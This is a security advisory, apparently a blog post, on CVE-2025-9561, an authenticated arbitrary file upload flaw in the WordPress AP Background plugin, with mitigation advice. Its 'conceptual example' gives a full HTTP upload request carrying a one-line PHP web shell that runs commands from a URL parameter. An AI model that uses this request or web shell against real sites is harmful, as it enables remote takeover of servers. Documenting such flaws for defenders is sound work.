Overview
A critical vulnerability has been identified within the AP Background Plugin for WordPress, affecting versions 3.8.1 to 3.8.2. This vulnerability allows authenticated attackers with Subscriber-level access and above to upload arbitrary files to the server of the affected site. The impact of this flaw could potentially lead to system compromise or data leakage, making it essential for all WordPress sites using this plugin to address this issue immediately.
The vulnerability identified as CVE-2025-9561, carries a significant CVSS Severity Score of 8.8, indicating its high risk. The flaw resides in the advParallaxBackAdminSaveSlider() handler and is due to missing authorization and insufficient file validation mechanisms. This post will explore this vulnerability in detail, from its working to mitigation measures.
Vulnerability Summary
CVE ID: CVE-2025-9561
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
WordPress AP Background Plugin | 3.8.1 to 3.8.2
How the Exploit Works
The vulnerability exploits missing authorization and insufficient file validation within the advParallaxBackAdminSaveSlider() handler. It allows an authenticated attacker with Subscriber-level access to upload arbitrary files on the server of the affected site. The uploaded files could potentially contain malicious code that, once executed, could lead to remote code execution.
Conceptual Example Code
The following is a conceptual representation of how the vulnerability might be exploited:
POST /wp-admin/admin-ajax.php?action=advParallaxBackAdminSaveSlider HTTP/1.1
Host: vulnerable-website.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker sends a POST request to the vulnerable endpoint, uploading a PHP file that allows remote command execution on the server. The server’s response to this request would indicate whether the exploit was successful.
Mitigation
Users are strongly advised to apply the vendor patch as soon as possible to mitigate this vulnerability. In the absence of an immediate patch, the use of Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can serve as a temporary mitigation measure. These systems can help detect and block attempts to exploit this vulnerability.
